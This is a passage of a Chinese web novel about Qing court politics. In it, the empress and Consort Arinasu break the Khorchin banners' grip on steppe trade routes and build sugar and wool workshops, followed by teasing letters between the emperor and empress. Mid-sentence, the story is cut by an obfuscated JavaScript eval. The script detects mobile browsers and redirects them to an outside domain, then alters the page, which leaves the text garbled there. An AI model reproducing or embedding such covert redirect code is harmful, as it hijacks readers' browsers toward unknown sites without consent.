宫中女子中,珠兰本身自不必说,出身乃是把忠贴脑门的葛布喇之家,能干肯干不怕担责,还肯放权。从不当面顶撞皇帝,还要充当解语花、招财猫。 贵妃钮钴禄萨琳,精于西学,已然沉迷,与宫中诸人都有了隔阂,仿佛身在两个世界。即便是珠兰与之通信,也是讨论学问,而非问询近况。如此执拗之人,皇帝只当她是宫中奇葩,养着便是。 荣贵人马佳诺敏,每日与皇后之妹塔娜同游,温柔可亲,却从不向皇帝献殷勤,清淡太过,则皇帝亦冷漠待之。 惠贵人纳喇玉宁,则每日试图偶遇圣上,一身功夫使出十八分,功利之心明晃晃,乃至于皇帝避之不及。 新收入宫中的美人甄应仙,听说是当面讽刺之前的宗室敛财故事,闹得皇帝脸上难看,自此也不见天颜。 仅有一个赫舍里塔娜,走单纯天真路线,虽然性格不是皇帝的菜,但是凭着父葛布喇、姐珠兰的颜面,得了天子几分关怀与青眼。 系统显示,少年康熙毫无疑问是个高敏感宝宝,后妃要踩他的痛脚,十分简单。 “淡漠、执拗、功利、傲慢。”阿日娜苏反复咀嚼着,这等人设操作起来,似乎还挺······痛快! 珠兰笑,这只是一个推手,一条引线。关键,还要放在草原商路的规模与皇帝惯用的制衡手段上。 78. 三足鼎立 承德离宫 暖阁里的铜炉烧得正旺,奶茶的香气混着羊毛的暖意漫开来。 既然要说商路,就不能只说生意经,还得讲地理、讲人文。 珠兰铺开一张手绘的草原商路图,指尖在“科尔沁”三个字上轻轻一点,“山西来的茶砖、布匹,到了他们手里,价钱翻了三倍、五倍、十倍不止,底下的部落敢怒不敢言,长此以往,准噶尔刚平,怕是又要闹出别的乱子。” 贾敏立刻点头,手里的炭笔在纸上圈出几个红点,“我跟着公主在草原转了半年,也算清楚这些王爷的底细。上次给巴林部送的铁锅,成本价不过五钱银子,他们转手就卖二两甚至是十两,还说‘这是皇家特许的价’,漠北那边背地里都骂‘比准噶尔抢得还狠’。” 阿日娜苏想起那些牧民冻裂的手,心里就发沉,她与珠兰在一处久了,多少对民生有些了解,“晋商虽也加价,可至少有个谱,这些王爷是往死里薅羊毛。” 端敏捏着腰间的佩刀,“赶走准噶尔,本就是为了让草原安稳,他们倒好,把商路当成自家的摇钱树。再这么下去,不用等别人闹,咱们亲手攒起来的人心,就得散了。” 珠兰看向她,眼底带着期许,“端敏觉得,该怎么办?” 端敏忽然笑了,爱新觉罗家族特有的凤眼里闪着亮,“我知道你想要什么,光靠中原运货过来不行,得让草原人自己有活干,有钱赚。” 她俯身指着图上的水草丰美处,“咱们可以在这里建工坊——让牧民学熬糖,把羊奶做成奶豆腐、奶皮子,运到江南去,那些娇贵人家指定喜欢;还有羊毛,让她们纺成线,织成衣,厚实暖和,卖到京城去,到西洋去,比卖原毛值钱多了!” 工坊这个东西,原本推开不易,是因为科尔沁左翼后旗能从倒卖上赚大钱,就不乐意高投入去搞工坊。而其他地方没有原始积累,搞不起来。 也可以说,珠兰之所以要算计后旗,就是因为他们太不识相,挣了钱之后,不肯跟着走实体手工业,打乱了珠兰对草原的布局。 纺织工艺内务府也在跟进,江南来的绣娘们别出心裁,用两跟长木针就能织毛衣,还有一种羊绒衣,柔软不下于丝绸,完全可以作为贡品。 端敏越说越起劲,银甲上的流苏都跟着晃,“牧民有了营生,手里有了银子,谁还愿意跟着别人起哄闹事?到时候,商路是咱们的,人心是咱们的,那些王爷?没人买账!” 珠兰望着她神采飞扬的模样,缓缓点头,眼里漾着笑意:“你说得对,授人以鱼不如授人以渔。”牧民有了钱,才会有消费能力,到时候京中的平价货才能卖过来。系统测算,广大牧民日用品市场,比王爷台吉的奢侈品市场要广大的多。 阿日娜苏跟着说道:“草原上的财富,不该只藏在王爷的帐篷里,该让每个牧民都沾着光。如此这般,他们才会信服咱们。” 贾敏在一旁听得眼睛亮晶晶的,手里的炭笔都忘了放下。 她原以为皇后娘娘操心商路,不过是为内务府多赚些银子,填补内库,讨圣上欢心,却没料到这盘棋下得这么大——不仅要打通商路,还要让牧民们真正过上好日子,从根上稳住草原。 “皇后娘娘……”贾敏轻声道,语气里带着敬畏,“您是想让草原和中原,真的像一家人那样过日子?”这是她从未想过的,平天下之策。 阿日娜苏拿起一块奶豆腐,放在鼻尖闻了闻,笑道:“一家人倒未必,但至少不该是‘王爷赚得盆满钵满,牧民冻饿街头’的样子。他们织的毛毯铺在江南的暖阁里,他们熬的糖甜了西洋人的茶,日子过得有奔头,谁还愿意打仗?”宣妃跟着皇后娘娘一路走一路学,思维方式也在一路变。 端敏拍了下手:“就是这个理!等工坊建起来,我派亲兵看着,谁也别想再克扣牧民的工钱。那些王爷敢捣乱,我就用‘抚远将军’的印信压他们——皇上封我这个将军,可不是只让我追着准噶尔砍的!”端敏也是如此,珠兰对她们的投资,是从思维方式开始的。她可没想培养个封建名将出来就算,那纯粹是给自己添堵。 检验成果的时候到了,珠兰但笑不语,频频点头。 贾敏低头看着商路图,那些弯弯曲曲的线条,不再只是货物运输的路线,更像是一条条能把草原与中原、牧民与百姓连起来的绳。 皇后娘娘要的,不是银子,是实实在在的安稳,是让这片饱经战火的草原,真的能长出太阳照耀的好日子来。 暖阁外的雪还在下,可帐内的四个人眼里,都透着一股子亮堂。 商路、工坊、牧民的营生……这些念头缠在一起,渐渐织成一张网,一张能让草原真正安定下来的网。 而她们,正要用这张网,把千百年都有的窟窿,一点点补起来。 腊月的草原被白雪裹得严实,克鲁伦河结着半尺厚的冰,沿岸的商栈却比往日更热闹——离春节只剩半月,漠南各部的牛羊、皮毛正往这儿聚,等着换中原的茶砖、绸缎。 因为巨额利润的诱惑,草原各部都可以冒着白灾的风险,冬日腊月出行。 皇后娘娘说,想要富先修路。端敏与阿日娜苏都如是想,这路可太难走了,冬天更难走。 太皇太后病体未愈离不开承德,太后惯常是不管事,皇后被不开心的老太太拢在身边频频给皇帝写信,成心不让她去外面再出什么风头,免得坏了老太太爱女家敛财的大事。 皇后啊,天子鹰犬,哀家看不错的。还是不要放她出去,给玄烨分忧了。佟国纲与冯唐,也是一样被栓在了承德,别想搞什么不利于科尔沁的小动作。 太皇太后老了,心软了,只想给老家人多谋划一些好处罢了,何错之有呢。 偏生金銮殿里的皇帝,各种大道理说着,就是不肯看顾他祖母的穷亲戚。 于是,老太太就是不回京,就要留在承德养病,皇后当然得侍奉在侧了。 珠兰:我就看看,不用动手,活不多,还有观察点拿。其实,我还挺乐意跟老太太待着,不跟康熙似的那么多要求。 这般下来,各部能找的就只有从承德回到草原上的端敏公主与宣妃阿日娜苏两位贵人了。 也因为端敏那边是倾向于皇帝的,被太皇太后强压着,不动弹了,但也不会帮多少忙。 太皇太后能用的,还有一位出身科尔沁的宣妃,也只有一位宣妃。 珠兰:带她出来,就是为了此时此刻啊。 “宣妃憨厚、单纯。”太皇太后对太后说,太后深以为然。这个姑娘就像草原上的小狼,遇到事也只会呲着牙吓唬人。当初她父亲失踪,她在太皇太后的帐子里大哭,那时候就立下了她单纯愚蠢的人设。 太皇太后多少年了,都是喜欢顺服之人,在她看来,宣妃就是如此。 她曾以为珠兰也是如此,后来发现珠兰确实顺服,却顺到皇帝那边太多。 玄烨,强势过分! 珠兰:皇家祖孙,也是上下一日百战。亲密度高,猜忌数值更高。 阿日娜苏的毡帐就扎在科尔沁左翼前旗大营的最中心,帐外挂着的红绸子被北风扯得猎猎响。 科尔沁左翼后旗的人已在帐外冻了一个时辰,他们仗着是太皇太后亲兄吴克善的后人,有面子惯了,想借春节前的互市垄断最赚钱的奶糖生意,还想先欠着内务府的货款。 端敏公主那边他们走动了,人家不见,他们也不敢造次。 没办法,他们只好来拜见宣妃娘娘。 结果,这位同样出身科尔沁的宣妃阿日娜苏只让侍女传了句:“账不清,免谈。”居然比端敏公主还要铁面无私,一点不叙同族旧情的。 也是,为了抢生意,她与两位固伦公主的官司都打去京里,请皇上定夺了。 往日里,各旗抢草场,都没有这么上进。 康熙收到信时还有些不敢置信,阿日娜苏竟然跟雅图起了冲突。科尔沁前中后旗,各抱着一条大腿,因为利益分配的问题,打起来了。为了百万的利,他们可以忍着。可为了千万的利呢,各方早就红眼了。 宣妃这个丫头在他的印象里一直都是个沉默腼腆,见了朕就脸红的形象。 居然敢为了草原生意,直接顶上有端敏这位大将军公主支撑的雅图公主。硬是敢从雅图手里,分走太皇太后默许的利益。 分明是太皇太后压制皇后,捧她上来的。 不对,她这是越过太皇太后与太后,在向朕表忠心? 皇帝脑中风暴纵横,他分析着。 端敏私下递上来的折子,写了太皇太后对她的安排,令她务必维护雅图。 珠兰送回的书信,也佐证了这一点,太皇太后将她与佟国纲等人都按在了承德,摆明了不让插手。 皇帝又对照了春苒、粘杆处几方送回的消息,确认了这一点。 草原商事必经之路上的科尔沁,后旗连续数年一家独大会导致尾大不掉,他们银子多了,就能养马养兵,会让皇帝睡不好觉。 三旗不是一条心,才能保皇家的声音最大,内库赚的最多。 朕晓得皇后在承德的难处,默许了端敏冬日沉默,暂时不动科尔沁。本来是预备让后旗再嚣张几个月,待朕平了南边,抽出手来······ 此刻,这上赶着跳出来的科尔沁前旗,也不是不可用。太皇太后自家亲戚闹起来,可不是朕挑拨的。 而且,阿日娜苏是宫妃,在皇后不在的情况下,公主还真管不到她。 朕怎么没想到,还有这一颗妙棋。 皇帝一笑,大手一挥,大家平分,不要伤了和气。 密信寄出,鼓励阿日娜苏继续努力,先画一个贵妃的大饼给她。 太皇太后以为牵制了珠兰,压制了端敏,朕就要咬牙支持雅图? 朕,要重新审视宣妃博尔济吉特阿日娜苏了。 帐外的后旗台吉气得踹翻了雪堆,却不敢掀帐——帐侧立着大将军公主派来的五十名亲兵,银甲在雪光里闪着冷意,那是端敏给她留的话:“谁敢动,要问我的刀。” 皇帝以为这三个女人为了各自的利益,已经剑拔弩张、老死不相往来,实则不是那么回事。 自打承德粘杆处跟着皇后混,皇帝对草原的消息就开始摸不透了。 帐内,阿日娜苏正对着贾敏递来的账册勾红。 册子里记着科尔沁左翼中旗的猫腻——他们偷偷往羊毛里掺沙土,想蒙混过秤。 “让工坊的人把中旗的货全筛一遍,掺沙超过三成的,直接扣下抵罚金。”她笔尖不停,语气平淡得像在说天气,“告诉满珠习礼的孙子,春节前不把规矩学明白,明年的商路准入证,不给他中旗批。”端敏不适合对中旗太狠,这个活就由阿日娜苏来做。 贾敏低头应着,指尖捏着刚收到的密信——是皇后娘娘从承德发来的,只写了九个字:“压后旗,抑中旗,稳前旗。” 由此及彼,科尔沁之外的三部蒙古,也是这般区别对待。 她悄悄抬眼,看阿日娜苏正往糖工坊的账上添了笔新支出,那是给牧民的冬日补贴,心里不由得叹:皇后娘娘这步棋,走得真稳。 端敏作为军功公主,有兵权在手,是最重的威慑力,然轻易不可动用。明目张胆为姑姑雅图撑腰是可以的,直接打压另外的贵族势力,则显得极为不智慧。 毕竟,权谋之说,不是真刀真枪,上来就你死我亡,总要有个捅逗的过程。 而宣妃的存在,是极为玄妙的。 宣妃阿日娜苏娘家代表的左翼前旗本是科尔沁三旗中最弱的,如今借着分商路、开工坊,竟成了制衡后旗与中旗的秤砣。 她身份特殊,以后,也可以做其他的秤砣。 承德离宫 太皇太后的暖阁里,铜炉上的奶茶正沸。 老太太望着窗外的雪,对身边的太后叹,“阿日娜苏是长大了……可也做的太过了。” 太后刚听说阿日娜苏扣了后旗的货,还把中旗的管事杖责二十,也跟着抱怨,“都是科尔沁的根,她就不能缓着些来?如今倒像把刀,谁都敢砍。如此冷淡漠然行事,岂是我家女子所应为。” 怎么一个二个的都这么个急功近利的德行,太皇太后嗔怪的看了一眼皇后。以为把珠兰这个天子鹰犬看管住了,便万事大吉。没想到,阿日娜苏这孩子也跟被皇帝洗了脑似的,回家挖自己的根去了。 玄烨以为我老太太不知道,是他这个皇帝做了手脚。 珠兰倒奶茶去,假装看不到老太太的眉眼。 太后捧着暖手炉,眉头拧着,继续说道:“是瞧着怪,她是个耿直孩子,听说她在家驯马时摔断了腿都不哼声,怎么如今……”她想起阿日娜苏为了核算账目,居然不去前头见皇帝派来的赐福太监,“倒像换了个人,眼里只有商路、利钱,半分情面不讲。执拗至此,莫不是受了什么刺激?”看我们端敏,每日里就是练兵,要么就是去看她姑姑雅图,什么都不掺和,这才叫聪明呢。 太皇太后没接话,只是捻着佛珠。 她怎会不知,站在朝廷与皇室的立场,阿日娜苏所作所为是对的。 奶糖工坊排到了河对岸,牧民拿着工钱给孩子扯新布做年衣,后旗和中旗再不敢像从前那样肆意欺压小部落。 看着这些,她也说不出苛责的话。毕竟,她是朝廷的太皇太后。 这孩子用最硬的法子,护着前旗站稳了脚,也逼着三旗不敢再内斗——只是那份不听人言的傲慢,实在不像个后宫妃嫔该有的。 早与她说开了,皇帝,不喜欢这样的女子。即便是皇后,不一样没得了孩子么。 阿日娜苏这孩子,要讨皇帝欢心,岂能用这种方式。 对紫禁城的赏赐,她让侍女直接入库,连开封都没时间;康熙派来的慰问使,她隔着帐帘听两句就摆手送客,一句“谢恩”就打发了。 真正能与皇帝沟通感情的渠道,她竟然全推开了。 太后劝她“顾及圣心”,她只淡淡说,“圣心若靠虚礼维系,那也太脆了。” 这话,通过粘杆处传到康熙耳朵里,御案上的朱笔正蘸着朱砂,闻言停顿片刻,在奏折上点出个深红点。 康熙听说了,她要在克鲁伦河沿岸建工坊,专熬奶糖。 内务府的人说“草原缺原料,运过来成本太高”,她不听,让从皇庄调了从西方来的能耐寒的甜菜种,硬是在河谷试种成功;科尔沁前旗的王爷说“牧民只会放羊,哪懂熬糖”,她直接把反对最凶的王爷家奴抽了二十鞭子,扔到工坊里学手艺,放话“学不会就没饭吃”。 当然,其实甜菜是早就偷偷试种上的,可不是大冬天种的出来的。熬制奶糖,所需的甜菜量极为不少。河谷那点不够,还从东北纳喇氏那边库存里调了不少。 糖的市场也已经在山河四省铺开数年了,皇后的六叔叔赫舍里法保这些年没敢别的,就给内务府卖糖了,钱赚了多少不说,反正卖的士绅都骂他,卖的皇庄添了二十五处,卖的皇帝龙心大悦。 正因为珠兰当初让人在皇庄培育了各类西方来的种子幼苗,慷慨的对后宫女子的家族开放选种,才有了阿日娜苏在草原上搞经济的第一重底气。 苏麻喇姑派来的人暗里劝她,“太刚了容易招怨。” 阿日娜苏却蹲在熬糖的大铁锅前,看着糖浆慢慢凝成块,语气斩钉截铁,“这点怨,我受得住。” 后来那批奶糖运到京城大受欢迎,和东北的松子糖、榛子糖并称三大北方硬糖,畅销到了长江流域,宣妃与惠贵人家族都赚得盆满钵满。连做分销的马佳氏家族,都跟着沾光,一定程度上弥补了东洋失去的利润。糖这个东西,就是有这么大的利,这还是在薄利多销的情况下。 东北纳喇氏不敢轻易扩大生产,阿日娜苏却敢把利钱投去建了第二座、第三座、第四座工坊,半点不手软,也不怕赔。 这份执拗,居然莫名让康熙想起了当年的鳌拜,魔怔的就一定要圈地,丝毫不在意后果。 只是她手里的不是刀,是算盘。 漠南各部分草原商路,她重申内务府的规矩:“抽三成利,童叟无欺,亲疏不论。” 连她母族的人来求情,她也只指着账册冷笑:“去年你们私吞了二百车湖缎,这笔账还没算,想让我免利?先把亏空补上。” 更绝的是对待西洋商队,葡萄牙人听说了商机,想买毛毯、奶糖,她故意抬价两成,等对方转身要走,又让人送去样品——织毯的细羊毛里掺了细麻不说,还用的半数羊绒,既耐磨又轻便,吉祥图样中缠着金银丝,华丽至极;奶糖更是调整了甜度,加了豪华包装,绝对符合西洋贵族的喜好。“价高,但货值。” 随后,她让通事传话,“要么按我的价买,要么就等着去京里高价收。” 西洋人看了货,又听说了宣妃的身份,咬着牙签了约。 这事传到京城,康熙看着密报里“宣妃与夷人讨价还价,寸利不让”的字眼,眉头拧成了疙瘩——这哪是妃嫔,分明是个只认银子的商魁。 便是珠兰,也从未让自己直接沾染过铜臭,她总是清雅的。 腊月的风雪裹着寒气撞在毡帐上,发出沉闷的声响。 阿日娜苏正对着沙盘摆弄着小木牌,代表科尔沁左翼后旗的木牌被她用指尖按住,死死压在克鲁伦河的渡口位置——就在昨夜,后旗的人以“查验走私”为名,扣下了中旗发往中原的一百车羊毛衣,连带着贾敏为工坊采购的一批细麻也被堵在了半道。 羊毛衣,是内务府绣娘研究出来的草原织物,工坊把羊毛线纺出来,牧民在家就能织毛衣,造价便宜,就靠走量,而且是冬天的紧俏货,耽误不得。 “后旗的台吉说,要等他们‘查清’中旗是否私藏了罗刹人,才能放行。”贾敏捧着账册进来,鼻尖冻得通红,“可谁都知道,他们是想逼着中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201655|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旗站队,一起压制前旗的奶糖工坊。” 前旗占了甜菜的河谷所在,中旗有羊毛衣,后旗怎么会不眼馋,他们以往都是吃独食的。 阿日娜苏没抬头,指尖在代表中旗的木牌上敲了敲:“中旗的扎萨克(首领)是什么反应?” “急得快哭了。”贾敏低声道,“那批羊毛衣是他准备换甜菜种子的,耽误了农时,收成就完了。他派人来求,说愿意把明年的商路分成让给前旗三成,只求娘娘能出面协调公主那边。” 沙盘旁的铜炉“噼啪”爆了个火星,阿日娜苏笑了,指尖猛地将后旗的木牌掀翻,“三成?他太小看我了。” 她起身披上狐裘,对侍立的亲兵道,“备马,去渡口。告诉后旗的人,半个时辰内不放行,我就烧了他们囤积在北岸的茶砖。”赤裸裸的威胁,最直接,对付这些蹬鼻子上脸的亲戚就得这样。 亲兵愣住了,“娘娘,后旗的茶砖是……” “是去年从晋商手里抢的,没给银子。”阿日娜苏系紧腰带,眼神冷得像帐外的冰,“我这儿有晋商的亲笔状子,他若敢拦我,我就把状子送到承德去,让太皇太后评评理——是查走私要紧,还是归还赃物要紧?” 贾敏心头一震,这才明白阿日娜苏早有准备。 后旗扣货的理由冠冕堂皇,可他们自己屁股底下就不干净,阿日娜苏这是要拿他们的短肋开刀。 渡口的雪地里,后旗的骑兵正围着中旗的货队耀武扬威。 台吉坐在暖轿里,碎碎念,“阿日娜苏不过是个没孩子的宫妃,家里连王爷都没有,也敢管科尔沁的事?她该滚回帐里绣荷包去!” 话音刚落,一阵马蹄声踏碎积雪,阿日娜苏的身影出现在坡上,身后跟着端敏派来的亲兵,每人手里都举着火把。“我给你最后一次机会。”她的声音透过风雪传过来,清晰得像冰锥,“放货,或者看你的茶砖变成灰。” 暖轿的帘子猛地掀开,后旗台吉探出头,看见亲兵们正往北岸的货栈挪动,顿时变了脸色——那批茶砖是他准备开春高价抛售的,真被烧了,损失比中旗的羊毛衣还大。 “你敢!”他色厉内荏地吼道,大家都是亲戚,至于这么狠嘛,“这是雍穆长公主的货。” “你看我敢不敢。”阿日娜苏抬手,亲兵们立刻将火把凑近货栈的帆布。“长公主也救不了你。” 中旗的扎萨克趁机喊道:“后旗扣货是假,想垄断商路是真!他们还私藏了罗刹人,就在货栈底下!” 这话像往油锅里泼了瓢水,后旗的骑兵顿时慌了——里通外国可是掉脑袋的罪。 阿日娜苏要的就是这个效果,她早让贾敏查清楚,后旗为了挣钱,确实与罗刹人有勾连。 “拿下!”阿日娜苏一声令下,亲兵们扔下火把,抽出腰刀冲向货栈。 后旗的人哪敢抵抗,眼睁睁看着中旗的货队被放行,自己的台吉还被亲兵“请”去帐里“问话”。 中旗的扎萨克追上来,想给阿日娜苏磕头,却被她拦住。 “三成利不用给了。”她看着远处被押走的后旗台吉,语气平淡,“但你得答应我,开春后,中旗从牧民手里收的羊毛,价格按市价,不得拖欠,童叟无欺;发的毛线,必须比市价低三成给牧民;从牧民手中拿羊毛衣,以市价折算,一样不得拖欠,童叟无欺。”这是皇后娘娘特意交代的,必须得办。 扎萨克愣了愣,随即明白过来——阿日娜苏帮他解围,不是白帮的。可比起被后旗拿捏,这条件实在太宽厚了,只是给低贱的牧民好处,就能获得宣妃娘娘的友谊。他连忙应下:“愿意!愿意!” 回到毡帐时,贾敏问:“娘娘早就料到中旗会倒向咱们?” “不是料到,是逼他不得不倒。”阿日娜苏脱下沾雪的狐裘,指着沙盘,“后旗霸道,中旗懦弱,咱们不偏不倚,只讲规矩——他们怕后旗的狠,就会求咱们的稳。”她顿了顿,在民生沙盘上添了个新木牌,代表中旗的羊毛工坊。 冬日里拿科尔沁三旗练手,开了春,就该扩大范围了。漠北漠西漠南,也是三部分。 帐外的风雪渐渐小了,远处传来工坊的动静——那里的工匠正趁着雪停赶制奶糖,准备春节前发往中原。 阿日娜苏望着窗外,知道这只是开始。 后旗的气焰被打压,中旗成了盟友,前旗站稳了脚跟。 雅图公主听端敏公主的,不往深处掺合,免得给袭爵的侄子得了好处,自己背上骂名。 端敏呢,不拉偏架,稳坐裁判位,任由阿日娜苏施展。 这不是太皇太后乐于见到的场景,老太太希望在端敏这位大将军公主的扶持下,自己的女儿雅图和亲娘家后旗成为最大赢家。 三旗并立,这是皇帝乐意见到的场面,是他喜欢的利益拆分。 而这一切,从表面来看,宣妃处理的面面俱到,靠的还不是皇帝的恩宠,也不是部族的血缘,是算准了人心的谋,是握得住刀的狠。 太皇太后在承德听说了此事,对着珠兰叹道:“阿日娜苏真令哀家刮目相看,是把商路当成战场了,一步一步,全在算计里,玄烨定然是要赞她的。” 珠兰却笑了,递给老太太一块奶糖。 老太太见皇后丝毫不在意自己第一鹰犬的地位易主,半点不介意阿日娜苏的行为会令皇帝高看,也是闹不明白珠兰的想法了。 乾清宫的皇帝,翻来覆去的看几方消息,阿日娜苏的模样在他心中重新描摹,锋锐的过了,他虽不喜欢,但是好用。 朕绝非以喜好论人之昏君,康熙这样对自己说。 制衡雅图,有端敏,制衡端敏,有阿日娜苏······ 腊八前一日,阿日娜苏的毡帐外忽然来了两队人。后旗带着三车甜菜种,菜种下面的金银无数,中旗扛着五十匹上好的羊毛毯,毯子里裹着的珠宝十分璀璨,都说是“给宣妃娘娘拜年”。 阿日娜苏隔着帐帘让人点数,然后丢出两本账册:“后旗的糖配额加一成,中旗的羊毛按市价收,但掺沙的账,开春还得算。”金银珠宝也登记造册,送内库了。 帐外的人应着,转身时都松了口气。 谁都知道,宣妃这是松了口,却也划了线——往后三旗想继续依靠商路讨饭吃,就得守她的规矩。 贾敏在帐内研墨,听着帐外渐远的脚步声,轻声道:“这下,春节能安稳过了。” 阿日娜苏正看着珠兰新发来的信,信里说“端敏麾下的兵会在商路巡逻至元宵”,她笑了,眼里闪过一丝难得的暖意:“草原的安稳,还得要看公主的。” 雪又下了起来,落在帐顶的红绸上,融成小小的水痕。 远处的工坊里,还有人在赶制奶糖,炉火映着窗纸上的剪纸,像团跳动的光。 阿日娜苏知道,这个春节,前旗的牧民能穿上新袄,后旗和中旗不敢再乱伸手,而紫禁城的那位,怕是又要对着密报皱眉——但这又何妨?她要的又不是圣心。 至于太皇太后说的“太过”,太后猜的“刺激”,她都不在乎。有珠兰的指点,有端敏的兵,有贾敏的辅助,她就能在这寒冬里,把日子过成自己想要的模样。 阿日娜苏站在帐外,看着夕阳把商路染成金红色。 皇后娘娘说得对,皇帝忌惮的不是女子做事,不是女子聪明,是“独”。 雅图独,有端敏来。 那么端敏若是独呢? 有阿日娜苏啊…… 草原之势,三足鼎立,缺一不可。 “这样,就不用回去了。”她轻声对自己说,指尖的银锭被夕阳照得发亮。 淡漠让皇帝觉得她“无心情爱”,执拗让皇帝觉得她“桀骜难驯”,功利让皇帝觉得她“贪念深重”,而那份展露无疑的傲慢与能干,则会让皇帝彻底断了把她带回宫的念头。 毕竟,留在草原的宣妃,才是能给皇帝带来利益的宣妃啊。 阿日娜苏在今年冬天给自己立了一个人设:比朝臣还精于算计、比将军还擅长布局、眼里只有利弊的“女诸葛”。 望着远处归牧的羊群,这草原的风,比紫禁城的熏香好闻多了。 承德离宫,珠兰看着皇帝的数据,他果然是平等的怀疑每一个人。即便还没有任何擅权苗头出现,皇帝也从心坎里先给她们找了平衡器。这事儿,不是他不信女子。是他根本就不信任何人,除了葛布喇。 端敏送回京中的蒙古攻略,留中不发。 雅图走太皇太后渠道送回京中的蒙古谋划,留中不发。 直到阿日娜苏的经略之策送到乾清宫,皇帝将三份册子放于一处,果然不出朕所料,皆有私心。 除夕之前,京中下了旨,封了宣贵妃,并将草原商事从端敏公主手中拿出,给了宣贵妃阿日娜苏掌管,在离宫中开辟了贵妃专用居所,令宣贵妃掌事,得以长居于此。 至此,第四局算胜八分。 79. 帝后通信 承德离宫的暖阁里,炭火烧得旺,却驱不散太皇太后身上的药味。 珠兰端着宫女刚温好的参汤,轻手轻脚地送到榻前,看着老太太枯瘦的手指捏着佛珠,一圈圈地转。完成了端参汤这个动作,她今天的任务量就没了。 “哀家这身子骨,也就这样了。”太皇太后眼皮都没抬,“你就留在这儿侍疾,外头那些杂事,让底下人去办。” 珠兰应着“是”,心里却明镜似的。太皇太后哪里是要她侍疾,分明是怕她再插手草原的事,尤其是商路——自从阿日娜苏把科尔沁三旗的商路搅得重新洗牌,老太太就没给过她好脸色。 到了晚上,写信的时辰就到了。太皇太后让人把紫檀木桌搬到榻边,逼着珠兰坐在跟前写,写完一页就得念给她听。但是珠兰绞尽脑汁,都写不出三行字,困的老太太睡了,她也写不出一页来。可太皇太后已经睡下,她只好回自己房间去写了。 旁人以为皇后娘娘夜夜在东厢挑灯写信,实则房间里,吉雅早就写好了,珠兰回去直接就睡了。 头几封信,珠兰也是干脆让吉雅代笔。吉雅是她从潜邸带出来的侍女,最会模仿她的笔迹,写的全是“皇上今日吃了什么”“承德的雪比京城大”之类的絮语,末了还加一句“臣妾夜里总梦到皇上”。 太皇太后听得眉头直皱,等珠兰念到“臣妾把皇上送的玉簪戴在头上,就像皇上在身边”时,终于忍不住打断:“写这些没用的!说正事!说说科尔沁的工坊,说说班第这孩子!” 珠兰心里偷笑,面上却恭顺地应了。第二天的信里,果然多了些“正事”:“科尔沁的奶糖比江南的还甜,牧民都说托了太皇太后的福”“世子班第年轻有为,把中旗治理得井井有条”。可那语气,公事公办得像查账,连个形容词都懒得多用。 康熙收到信时,正在看端敏送来的军报。 展开信纸,扫了几眼就笑了——珠兰夸科尔沁的话,跟当年户部尚书报祥瑞的口吻如出一辙,假得不能再假。 他捏着信纸,指尖划过“世子班第年轻有为”那行字,忽然想起端敏信里说“班第被阿日娜苏扣了三十车羊毛,正蹲在帐里哭”,不由得摇了摇头:这丫头,敷衍起人来,倒挺会找由头。 太后看不过眼,趁着太皇太后午睡,叮嘱珠兰说:“你也别太委屈自己,信慢慢写,实在没话说,就说身子乏了。”母后从不会落下磋磨人的话儿,但是最善于打击人的心,让人像蜡烛似的损耗心神,董鄂氏就是这么熬着,直到油尽灯枯的。这定然又是皇帝做事不合老太太的心意,她故技重施,要拿珠兰作伐子,逼迫皇帝让步了。 珠兰正让吉雅往信里塞一张承德的雪景画,闻言笑着谢了,“您放心,我并不辛苦,每日侍奉太皇太后很有精神。” 她哪里会委屈了自己,又哪里会去多想什么祖孙间的暗战。两人的数据都在系统上,明晃晃的,她自然没有多思多虑的道理。 太皇太后说是盯着她写信,却管不了离宫的人——管茶水的太监是她当年从内务府提上来的,守宫门的侍卫是她娘家送来的族亲,连太皇太后跟前伺候的嬷嬷,每月都能收到她让人送去的江南胭脂。老太太以为把她攥在手里,殊不知这离宫的方方面面,早就成了她的地盘。 这天太皇太后又催着写信,珠兰干脆让吉雅抄了段《科尔沁风土记》,只在末尾加了句“臣妾一切安好,皇上勿念”。 太皇太后听着听着就打了哈欠,挥挥手让她退下:“行了行了,往后信就这么写吧,别总腻腻歪歪的。” 珠兰忍着笑退出来,刚到廊下就撞见太后。 太后瞅着她手里的信纸,无奈地叹气:“你啊,哄着母后点,别总那么傻,让你写信你就光写信。身体要是不舒服,就休息去,别硬撑着。” “能让祖母舒心就是,珠兰巴不得多与祖母相处,在这边就神清气爽的,一点不累。”珠兰望着窗外的雪,眼里闪着光,太皇太后哪天要是不见她了,她才要麻爪呢。 暖阁里,太皇太后捏着珠兰刚写的信,想着那孩子单纯的敬爱情谊,重重叹了口气。 她不知道,贾敏从草原发来的密报,已经由粘杆处发往京中,上面写着:“前旗工坊盈利三成,后旗、中旗已愿归顺,只待开春……” 而京城的乾清宫里,康熙将珠兰那封“公事公办”的信折起来,夹在端敏的军报里。 他仿佛能看见珠兰坐在太皇太后榻前,一边应付着念信,一边偷偷翻白眼的模样,不由得低声笑了:“这丫头,倒会苦中作乐。” 离宫的雪还在下,可帝后之间的默契,早已穿透风雪,心照不宣的玩笑起来。 暖阁里,太皇太后捏着康熙的回信,指节都泛了白。 信纸被她揉得发皱,上面“朕每夜梦回,总见卿灯下理账的模样”“承德苦寒,卿可要多添件衣裳,莫教朕挂心”之类的话,像滚热的糖浆,粘得她嘴巴发苦。 “这……这叫什么话!”老太太把信往案上一拍,银质佛珠在腕间乱响,“哀家看信之事,玄烨怎么会不知道。他倒好,通篇都是这些没羞没臊的!故意气哀家不成!” 旁边侍立的嬷嬷大气不敢喘,皇帝的信来得勤,皇后五天能有一封信寄出去,回信几乎三天一封,每封都像浸了蜜,字字句句都是对皇后的牵挂。 前几日那封更离谱,竟写“朕把卿绣的荷包带在身边,闻着线头的香气,就像卿在跟前”,听得太皇太后当时就差点把茶碗摔了。谁家的皇帝与皇后,是这般通信的。 